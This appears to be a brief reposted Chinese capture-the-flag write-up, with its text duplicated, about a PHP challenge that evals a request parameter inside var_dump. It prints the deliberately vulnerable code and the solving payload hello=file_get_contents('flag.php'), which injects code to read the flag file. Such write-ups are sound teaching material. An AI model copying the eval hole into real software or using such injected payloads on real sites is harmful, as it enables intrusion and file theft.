<?phpinclude "flag.php";$a = @$_REQUEST['hello'];eval( "var_dump($a);");show_source(__FILE__);
文件包含 我们可以考虑让他输出flag.php
构造 hello=file_get_contents('flag.php')
本文共 209 字，大约阅读时间需要 1 分钟。
<?phpinclude "flag.php";$a = @$_REQUEST['hello'];eval( "var_dump($a);");show_source(__FILE__);
文件包含 我们可以考虑让他输出flag.php
构造 hello=file_get_contents('flag.php')
转载于:https://www.cnblogs.com/alyx/p/9217539.html